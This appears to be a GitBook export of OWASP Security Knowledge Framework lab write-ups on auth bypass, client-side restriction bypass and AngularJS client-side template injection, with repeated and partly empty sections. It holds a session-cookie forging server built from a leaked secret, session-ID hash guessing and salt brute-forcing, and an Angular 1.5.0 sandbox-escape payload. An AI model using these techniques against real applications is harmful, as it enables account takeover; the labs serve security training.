Only this pageAll pages
Powered by GitBook
Couldn't generate the PDF for 269 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

Security Knowledge Framework

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

NodeJS - Auth Bypass

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-auth-bypass
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-auth-bypass

Now that the app is running let's go hacking!

Reconnaissance

Let's login with admin/admin.

Once we login we see an API key.

Let's have a look at the source code:

app.all("/login", (req, res) => {
  const sql = "SELECT * FROM users WHERE username = ? AND password = ?";
  const api = "SELECT * FROM preferences WHERE UserId = ?";
  if (req.method === "POST") {
    db.get(sql, [req.body.username, req.body.password], (err, row) => {
      if (row) {
        req.session.userId = row.UserId;
        req.session.secret = "e5ac-4ebf-03e5-9e29-a3f562e10b22";
        req.session.loggedIn = true;
        db.get(api, [req.session.userId], (err, row) => {
          res.render("home.ejs", { api: row.API_key });
        });
      } else {
        res.render("index.ejs");
      }
    });
  } else {
    db.get(api, [req.session.userId], (err, row) => {
      res.render("home.ejs", { api: row.API_key });
    });
  }
});

We can see the cookie session secret is exposed, now we can try to recreate this application cookie implementation to be able to recreate a cookie to bypass the authentication.

Exploitation

We can start building our malicious server.

const cookieSession = require("cookie-session");
const express = require("express");
const cookieParser = require("cookie-parser");
const app = express();

app.use(express.static(__dirname));
app.use(cookieParser());
app.use(
  cookieSession({
    name: "session",
    keys: ["e5ac-4ebf-03e5-9e29-a3f562e10b22"],
    httpOnly: false,
    maxAge: 86400000,
  })
);

app.get("", (req, res) => {
  req.session.userId = 2; // CHANGED THE USER ID
  req.session.secret = "e5ac-4ebf-03e5-9e29-a3f562e10b22";
  req.session.loggedIn = true;
  res.render("evil.ejs");
});

const port = process.env.PORT || 1337;

app.listen(port, "0.0.0.0", () =>
  console.log(`Listening on port ${port}...!!!`)
);

Save the snippet above to > evil_server.js and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be nodeJs express.

$ npm install express ejs cookie-session cookie-parser

Save the following snippet code into /views/evil.js

<p>The newly created cookie for doing the bypass:</p>
<script>
  alert(document.cookie);
</script>

We are ready to start our server:

$ node evil_server.js

Now we can replace our original cookie with the tampered cookie.

Refresh the page:

Additional sources

Python - Auth Bypass

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Let's login with admin/admin:

Once we login we see an API key.

Let's have a look at the source code:

We can see the cookie session secret is exposed, now we can try to recreate this application cookie implementation to be able to recreate a cookie to bypass the authentication.

Exploitation

We can start building our malicious server.

Save the snippet above to > evil_server.py and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

Save the following snippet code into /templates/evil.html

We are ready to start our server:

Now we can replace our original cookie with the tampered cookie.

Send the request again:

Additional sources

Introduction

Here we find all the labs and write-ups for the security knowledge framework! These labs are correlated to knowledge-base id's which are on their place again correlated to security controls such as from the ASVS or NIST, etc.

The labs are all downloadable from the following Github repository:

The images can also be found on the skf docker hub. These skf-labs images are automatically pushed to the docker registry on each commit to the Github repository.

Useful tools

First thing we need to do is to be able to investigate the requests that are being made by the labs/applications. We do this by setting up our intercepting proxy so we can gain more understanding of the application under test.

Burp suite:

ZAP: For the latest features we want to advise to use the Weekly build of ZAP. This is using the latest and greatest improvements + Libraries

How to add a Lab & write-up

When you want to contribute and add your own labs then please make sure you use the styling template in one of the lab challenges. We think its really important to have one look and feel and for able to merge your lab its required to use the SKF template. You can copy this from any of the labs we currently already have.

For adding the write-up for the lab we advice to create a copy of on existing write-up and work from there or use the template.md file as a base. You can store all your images in .gitbook/assets/ and also make sure you correlate your lab to one of the knowledge base item identifier in SKF. When you completed the lab and the write-up you only have to add it to the SUMMARY.md file and you are ready to create your Pull Request.

After the pull request you can find your nice styled write-up here:

Deploying SKF Lab's from your terminal

You can now deploy skf-lab from your terminal, with , you don't need to setup server if you don't want to with skf-cli you can deploy lab with security knowledge frameworks own api, if you want you can also search and deploy lab using skf-cli.

Auth Bypass - 1

Auth Bypass

$ sudo docker pull blabla1337/owasp-skf-lab:auth-bypass
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:auth-bypass

app.config.update(dict(
    SECRET_KEY= "e5ac-4ebf-03e5-9e29-a3f562e10b22",
    SESSION_COOKIE_HTTPONLY = True
))

@app.route("/login", methods=['GET', 'POST'])
def login():
    sqli  = Classes()
    if request.method == "POST":
        values = sqli.getUser(request.form['username'])
        if values:
            if values[0][2] == request.form['password']:
                session['userId'] = values[0][0]
                session['secret'] = app.config['SECRET_KEY']
                session['loggedin'] = True
                pref = sqli.getApi(values[0][0])
                api = pref[0][0]
                return render_template("loggedin.html", api = api)
        return render_template("index.html")
    else:
        pref = sqli.getApi(session['userId'])
        api = pref[0][0]
        return render_template("loggedin.html", api = api)
from flask import Flask, request, url_for, render_template, redirect, make_response, session

app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config.update(dict(
    SECRET_KEY= "e5ac-4ebf-03e5-9e29-a3f562e10b22",
    SESSION_COOKIE_HTTPONLY = False
))

app.config['DEBUG'] = True

@app.route("/")
def start():
    session['userId'] = 2 # CHANGING USER ID
    session['secret'] = app.config['SECRET_KEY']
    session['loggedin'] = True
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip3 install flask
<p>The newly created cookie for doing the bypass:</p>
<script>
  alert(document.cookie);
</script>
$ python3 evil_server.py
SKF Labs repo
https://portswigger.net/burp/communitydownload
https://www.zaproxy.org/download/#weekly
https://skf.gitbook.io/asvs-write-ups/
joyghoshs/skf-cli
security knowledge framework

Java - Auth Bypass - 1

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-auth-bypass1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-auth-bypass1

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Obviously, an attacker can tamper with the URL, the form or the session cookie in order to get logged in as a user without knowing the actual credentials.

The goal of this lab is to get logged in as an administrator without knowing his/her credentials

Lets start the application and register a new user

Please note that (for convenience) your password will be reset if the user already exists. Also note that the password is case sensitive.

Now that we have valid credentials, we can login:

Exploitation

We can capture the login in the burpsuite proxy and send it to the repeater. We notice that with every login, the session cookie stays the same. It is high likely that this sessionid is related to our user name:

If we quickly google for this sessionid, we find that the sessionID seems to be corresponding to 'user':

We can check whether it is a hash at https://www.tunnelsup.com/hash-analyzer/:

it seems to be a sha1...

Ok, let's lookup the hash of 'admin' at https://passwordsgenerator.net/sha1-hash-generator/

-> d033e22ae348aeb5660fc2140aec35850c4da997

Now we can set our sessionID to the sha1 hash of admin:

-> if you don't have a browser cookie manager plugin, you can go to the next step and intercept the request in burp and replace the sessionID there.

Click 'proceed' to go to the authenticated section of the application:

Additional sources

Java - Auth Bypass - 2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-auth-bypass2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-auth-bypass2

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Obviously, an attacker can tamper with the URL, the form or the session cookie in order to get logged in as a user without knowing the actual credentials.

The goal of this lab is to get logged in as an administrator without knowing his/her credentials

Lets start the application and register a new user

Now that we have valid credentials, we can login:

Exploitation

We can capture the login in the burpsuite proxy and send it to the repeater. We notice that with every login, the session cookie stays the same. It is high likely that this sessionid is related to our user name:

If we quickly google for this sessionid, we find nothing:

We can try to identify this hash:

It seems to be a sha1...

It is possible that the developer added a salt to the username and hashed the concatenated string admin+some_salt -> maybe this is also the reason why we can't find with Google what the hash represents.

The about page seem to contain a lot of text, maybe the salt is a typical word for this company that is also mentioned on that page…

Using cewel we can grab all the words from a page like this: cewl -m 4 -w wordlist.txt -d 0 -v http://127.0.0.1:5000/about

-m 4: minimum word length is 4 characters -w wordlist: write output to file ‘wordlist’ -d 0: follow links x times deep (0=stay on the same page) -v: verbose (show what you are doing)

Using a terminal window:

Let’s use burp intruder to calculate a sha-1 for every admin+word combination:

Payload position:

Paste the content of the word list in the payload options and add the payload processing rules as indicated in the following screenshot.

This will prefix the word 'admin' to each word from the list and calculate a sha1 of the concatenated string. for example sha1(adminBank)

Start the attack

The result:

Now we can replace our cookie/sessionID with the value we found.

After going back to home page and proceeding to authenticaded section:

Additional sources

NodeJS - Auth Bypass - 1

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-auth-bypass-1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-auth-bypass-1

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Obviously, an attacker can tamper with the URL, the form or the session cookie in order to get logged in as a user without knowing the actual credentials.

The goal of this lab is to get logged in as an administrator without knowing his/her credentials

Lets start the application and register a new user

Please note that (for convenience) your password will be reset if the user already exists. Also note that the password is case sensitive.

Now that we have valid credentials, we can login:

Exploitation

We can capture the login in the burpsuite proxy and send it to the repeater. We notice that with every login, the session cookie stays the same. It is high likely that this sessionid is related to our user name:

If we quickly google for this sessionid, we find that the sessionID seems to be corresponding to 'user':

We can check try to identify the hash:

it seems to be a sha1...

Ok, let's lookup the hash of 'admin':

-> d033e22ae348aeb5660fc2140aec35850c4da997

Now we can set our sessionID to the sha1 hash of admin:

-> if you don't have a browser cookie manager plugin, you can go to the next step and intercept the request in burp and replace the sessionID there.

Click 'proceed' to go to the authenticated section of the application:

Additional sources

Python - Auth Bypass - 2

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Obviously, an attacker can tamper with the URL, the form or the session cookie in order to get logged in as a user without knowing the actual credentials.

The goal of this lab is to get logged in as an administrator without knowing his/her credentials

Lets start the application and register a new user

Now that we have valid credentials, we can login:

Exploitation

We can capture the login in the burpsuite proxy and send it to the repeater. We notice that with every login, the session cookie stays the same. It is high likely that this sessionid is related to our user name:

If we quickly google for this sessionid, we find nothing:

We can try to identify this hash:

It seems to be a sha1...

It is possible that the developer added a salt to the username and hashed the concatenated string admin+some_salt -> maybe this is also the reason why we can't find with Google what the hash represents.

The about page seem to contain a lot of text, maybe the salt is a typical word for this company that is also mentioned on that page…

Using cewel we can grab all the words from a page like this: cewl -m 4 -w wordlist.txt -d 0 -v http://127.0.0.1:5000/about

-m 4: minimum word length is 4 characters -w wordlist: write output to file ‘wordlist’ -d 0: follow links x times deep (0=stay on the same page) -v: verbose (show what you are doing)

Using a terminal window:

Let’s use burp intruder to calculate a sha-1 for every admin+word combination:

Payload position:

Paste the content of the word list in the payload options and add the payload processing rules as indicated in the following screenshot.

This will prefix the word 'admin' to each word from the list and calculate a sha1 of the concatenated string. for example sha1(adminBank)

Start the attack

The result:

Now we can replace our cookie/sessionID with the value we found.

After going back to home page and proceeding to authenticaded section:

Additional sources

Auth-bypass - Simple

Auth-bypass - 3

Auth Bypass - 2

$ sudo docker pull blabla1337/owasp-skf-lab:auth-bypass-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:auth-bypass-2

NodeJS - Auth-bypass - 3

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-auth-bypass-3
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-auth-bypass-3

Now that the app is running let's go hacking!

Reconnaissance

The session prediction attack focuses on predicting session ID values that permit an attacker to bypass the authentication schema of an application. By analyzing and understanding the session ID generation process, an attacker can predict a valid session ID value and get access to the application.

In the first step, the attacker needs to collect some valid session ID values that are used to identify authenticated users. Then, he must understand the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it. Some bad implementations use sessions IDs composed by username or other predictable information, like timestamp or client IP address. In the worst case, this information is used in clear text or coded using some weak algorithm like base64 encoding.

In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.

When start the application we can see that we have a "create new user" functionality and we will be redirected to out private user space. First let's try to create a new user to see how the application behaves.

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /signup:

From there we can access our private user's space using a GET request, that we analyze below:

Exploitation

It seems that the only parameter which takes care of which private space we are shown is the userID. Now we will try different possibilities for the userID by changing the number to similar ones:

Lets try with user02.

As you can see we got access to another user's account whose ID was 02. This proves the weak mechanism of sessions management implemented here. Thanks to it, we can get all the user's private information. In this case this allow us to get admin credentials for the website.

We could keep trying to discover other resources for useful information. Let's try to explore other accounts like user01.

Additional sources

Python - Auth-bypass - 3

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:auth-bypass-3
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:auth-bypass-3

Now that the app is running let's go hacking!

Reconnaissance

The session prediction attack focuses on predicting session ID values that permit an attacker to bypass the authentication schema of an application. By analyzing and understanding the session ID generation process, an attacker can predict a valid session ID value and get access to the application.

In the first step, the attacker needs to collect some valid session ID values that are used to identify authenticated users. Then, he must understand the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it. Some bad implementations use sessions IDs composed by username or other predictable information, like timestamp or client IP address. In the worst case, this information is used in clear text or coded using some weak algorithm like base64 encoding.

In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.

When start the application we can see that we have a "create new user" functionality and we will be redirected to out private user space. First let's try to create a new user to see how the application behaves.

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /signup:

From there we can access our private user's space using a GET request, that we analyze below:

Exploitation

It seems that the only parameter which takes care of which private space we are shown is the userID. Now we will try different possibilities for the userID by changing the number to similar ones:

Lets try with user02.

As you can see we got access to another user's account whose ID was 02. This proves the weak mechanism of sessions management implemented here. Thanks to it, we can get all the user's private information. In this case this allow us to get admin credentials for the website.

We could keep trying to discover other resources for useful information. Let's try to explore other accounts like user01.

Additional sources

https://www.owasp.org/index.php/Session_Prediction

Python - Auth Bypass - 1

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:auth-bypass-1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:auth-bypass-1

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Obviously, an attacker can tamper with the URL, the form or the session cookie in order to get logged in as a user without knowing the actual credentials.

The goal of this lab is to get logged in as an administrator without knowing his/her credentials

Lets start the application and register a new user

Now that we have valid credentials, we can login:

Exploitation

We can capture the login in the burpsuite proxy and send it to the repeater. We notice that with every login, the session cookie stays the same. It is high likely that this sessionid is related to our user name:

If we quickly google for this sessionid, we find that the sessionID seems to be corresponding to 'user':

We can check try to identify the hash:

it seems to be a sha1...

Ok, let's lookup the hash of 'admin':

-> D033E22AE348AEB5660FC2140AEC35850C4DA997

Now we can set our sessionID to the sha1 hash of admin:

Click 'proceed' to go to the authenticated section of the application:

Additional sources

Java - Auth-bypass - 3

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-auth-bypass3
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-auth-bypass3

Now that the app is running let's go hacking!

Reconnaissance

The session prediction attack focuses on predicting session ID values that permit an attacker to bypass the authentication schema of an application. By analyzing and understanding the session ID generation process, an attacker can predict a valid session ID value and get access to the application.

In the first step, the attacker needs to collect some valid session ID values that are used to identify authenticated users. Then, he must understand the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it. Some bad implementations use sessions IDs composed by username or other predictable information, like timestamp or client IP address. In the worst case, this information is used in clear text or coded using some weak algorithm like base64 encoding.

In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.

When start the application we can see that we have a "create new user" functionality and we will be redirected to out private user space. First let's try to create a new user to see how the application behaves.

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /signup:

From there we can access our private user's space using a GET request, that we analyze below:

Exploitation

It seems that the only parameter which takes care of which private space we are shown is the userID. Now we will try different possibilities for the userID by changing the number to similar ones:

Lets try with user02.

As you can see we got access to another user's account whose ID was 02. This proves the weak mechanism of sessions management implemented here. Thanks to it, we can get all the user's private information. In this case this allow us to get admin credentials for the website.

We could keep trying to discover other resources for useful information. Let's try to explore other accounts like user01.

Additional sources

https://www.owasp.org/index.php/Session_Prediction

Java - Client Side Restriction Bypass - Harder

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-client-side-restriction-bypass-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-client-side-restriction-bypass-2

Now that the app is running let's go hacking!

Reconnaissance

As we have done with previous labs, be sure to start Burp Suite so you can play along! Testing becomes so much easier if you use Burp's built-in Chrome web browser (tab Proxy > tab Intercept > button Open Browser).

Let us visit http://0.0.0.0:5000. It presents us with a familiar login screen.

For now, let's try user "admin" and password "admin". Which does let us inside!

We're told that the "admin" user really likes the color blue and that they enjoy feasting on apple pie. That's great news! And since we're logged in as the user "admin", we can even update our favorite color!

After submitting the form with a different color, the output has changed.

Let's take a look at Burp Suite's proxy history, to see what's happening in the background.

Burp shows us that a POST request was made to http://0.0.0.0:5000/updatecolor. The form was submitted with one key:value pair, being "color=Green".

Exploitation

Looking into the HTTP requests in Burp, there appear to be no hidden form values that would allow us to change admin's favorite food. But let's try something! Maybe the web app is trying to hide some things in plain sight by simply not including them in the user interface. We can make a few guesses about what to try, no?

We could just edit HTTP requests in Burp, making educated guesses.

If you right-click the POST request in Burp's proxy history, you can select "Send to Repeater". This will light up the Repeater tab in orange, showing that something new appeared. Over there, we can edit the request before submitting it.

Let's change the called URL to http://0.0.0.0:5000/updatefood and let's change the form key to "food". Then if we click the "Send" button, maybe we'll get lucky!

Alternatively, let's take a closer look at that front-end code! By right-clicking the form in our browser (or ctrl+shift+i) and choosing "Inspect" we can investigate the HTML in question.

What's this?!

The developer left us the clues right there in the HTML? And we manually did the hard work? No fair! Well, might as well use the form then!

If you right-click the commented text and choose "Edit as HTML" we can just remove the <!-- and --> comment markers. And presto, there's our other form which will let us change the favorite food as well.

If the developer wanted to prevent us from updating the food, they should have either disabled the endpoint temporarily or added an additional security check. In its current state, it's just "security through obscurity. "Hiding" functionality by not turning it on, by not using it and so on does nothing to secure your applications.

Additional sources

Python - Auth-bypass - Simple

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply tampering with cookie values.

Let's log in with admin/admin.

We see an API key, let's check the cookies:

Exploitation

We have a cookie called userId, maybe this application is relying on this cookie for authentication, let's try changing to 2 and sending the request again.

The application did indeed use this cookie for authentication and now we have access to another user's API key.

Additional sources

Java - Auth-bypass - Simple

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply tampering with cookie values.

Let's log in with admin/admin.

We see an API key, let's check the cookies:

Exploitation

We have a cookie called userId, maybe this application is relying on this cookie for authentication, let's try changing to 2 and sending the request again.

The application did indeed use this cookie for authentication and now we have access to another user's API key.

Additional sources

Client Side Restriction Bypass - Harder

Client Side Restriction Bypass

Client Side Template Injection (CSTI)

$ sudo docker pull blabla1337/owasp-skf-lab:auth-bypass-simple
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:auth-bypass-simple
$ sudo docker pull blabla1337/owasp-skf-lab:java-auth-bypass-simple
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-auth-bypass-simple

NodeJS - Auth-bypass - Simple

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-auth-bypass-simple
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-auth-bypass-simple

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply tampering with cookie values.

Let's log in with admin/admin.

We see an API key, let's check the cookies:

Exploitation

We have a cookie called userId, maybe this application is relying on this cookie for authentication, let's try changing it to 2.

The application did indeed use this cookie for authentication and now we have access to another user's API key.

Additional sources

NodeJS - Client Side Restriction Bypass

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-client-side-restriction-bypass
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-client-side-restriction-bypass

Now that the app is running let's go hacking!

Reconnaissance

The app allows us to select a number between 3 and 13 from the number input form. Let's also try typing numbers outside that interval directly into the field.

Exploitation

We could intercept and modify the request on Burp:

Or alternatively, use devtools to modify the client-side restrictions directly:

And goal achieved! We could bypass the client-side restrictions.

Additional sources

Python - Client Side Restriction Bypass

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:client-side-restriction-bypass
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:client-side-restriction-bypass

Now that the app is running let's go hacking!

Reconnaissance

The app allows us to select a number between 3 and 13 from the number input form. Let's also try typing numbers outside that interval directly into the field.

Exploitation

We could intercept and modify the request on Burp:

Or alternatively, use devtools to modify the client-side restrictions directly:

And goal achieved! We could bypass the client-side restrictions.

Additional sources

Java - Client Side Template Injection (CSTI)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-csti
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-csti

Now that the app is running let's go hacking!

Reconnaissance

Step 1

This application has a very cool interface, powered by a very cool framework that, every time the page is rendered, will scan the page for template expressions and evaluate them.

Before we deep dive in the exploitation phase, let's introduce how a template engins renders elements inside the page and how we can detect a Client Side Template Injection. If we look at the index.html page in the source code, we can see that a variable {{csti}} is used in the page

<center><p style="font-size:2em;" th:text="${csti} ?: '' " /></center>

Step 2

This can look like a XSS, but if we try to inject HTML tags we get a nice print-out from the application. Let's try!

We are going to use the same payload of the XSS lab

<script>alert('XSS')</script>

Unfortunately the alert does not trigger :(

This is becuase AngularJS sanitize by default the input that will be reflected in the page.

Step3

How do we get XSS?

AngularJS parses and renders every expression between curly brackets. So if we pass an arithmentic expression, such as {{7*7}}, we should expect 49 as a result.

!

Bingo!!

Exploitation

Now that we know that the frontend is vulnerable to a client side template injection, we want to do more than just printing out nice numbers.

Because Angular uses parsers to evaluate every expression in curly brackets, sanitize HTML values (through ng-bind-html attributes, if explicitly) and uses a sandbox to avoid JavaScript code to call functions outside of the Angular scope object, we need to go though the following steps to have a successful exploit:

  • break the sanitizer

  • escape the sandbox

  • forge a working payload

In this case, we do not need to find new way to do this, but we can just see if we can re-use a payload available for our version of Angular.

Step 1

We want to identify wich version is used in the frontend. If we look at the source code we can see that in the <head> tag Angular v1.5.0 is loaded.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js"></script>

We need a payload that will allow us to inject JavaScript commands in the DOM and escape the sandbox, and, of course, pop up an alert box (just as a PoC)

Step 2

Looking at possible payloads we found a working one for this version of Angular

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

We are not going in the details on how the exploit works, but you can refer to a nice blog post from PortsWigger. What we can say, is that the escape, breaks out of the sandbox (we are not in the scope object anymore) and allows us to execute JS in the DOM itself.

As we can see, our alert(1) is present in the payload. If we copy it in our input box we see that the full payload is reflected 'as-it-is', but the JavaScript is executed

Now we are able to execute JavaScript code in our DOM.

This would work if we would have used the latest version of Angular and escaped malicious characters.

Additional sources

NodeJS - Client Side Restriction Bypass - Harder

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-client-side-restriction-bypass-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-client-side-restriction-bypass-2

Now that the app is running let's go hacking!

Reconnaissance

As we have done with previous labs, be sure to start Burp Suite so you can play along!

Let us visit http://localhost:5000. It presents us with a familiar login screen.

For now, let's try user "admin" and password "admin". Which does let us inside!

We're told that the "admin" user really likes the color blue and that they enjoy feasting on apple pie. That's great news! And since we're logged in as the user "admin", we can even update our favorite color!

After submitting the form with a different color, the output has changed.

Let's take a look at Burp Suite's proxy history, to see what's happening in the background.

Burp shows us that a POST request was made to http://localhost:5000/updatecolor. The form was submitted with one key:value pair, being "color=Green".

Exploitation

Looking into the HTTP requests in Burp, there appear to be no hidden form values that would allow us to change admin's favorite food. But let's try something! Maybe the web app is trying to hide some things in plain sight by simply not including them in the user interface. We can make a few guesses about what to try, no?

We could just edit HTTP requests in Burp, making educated guesses.

If you right-click the POST request in Burp's proxy history, you can select "Send to Repeater". This will light up the Repeater tab in orange, showing that something new appeared. Over there, we can edit the request before submitting it.

Let's change the called URL to http://localhost:5000/updatefood and let's change the form key to "food". Then if we click the "Send" button, maybe we'll get lucky!

Alternatively, let's take a closer look at that front-end code! By right-clicking the form in our Chrome browser and choosing "Inspect" we can investigate the HTML in question.

What's this?!

The developer left us the clues right there in the HTML? And we manually did the hard work? No fair! Well, might as well use the form then!

If you right-click the commented text and choose "Edit as HTML" we can just remove the <!-- and --> comment markers. And presto, there's our other form which will let us change the favorite food as well.

Additional sources

Security research company Mitre maintains a list of common vulnerability types, with CWE registrations: Common Weakness Enumeration.

NodeJS - Auth Bypass - 2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-auth-bypass-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-auth-bypass-2

Now that the app is running let's go hacking!

Reconnaissance

While most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.

Obviously, an attacker can tamper with the URL, the form or the session cookie in order to get logged in as a user without knowing the actual credentials.

The goal of this lab is to get logged in as an administrator without knowing his/her credentials

Lets start the application and register a new user

Please note that (for convenience) your password will be reset if the user already exists. Also note that the username and password are case sensitive.

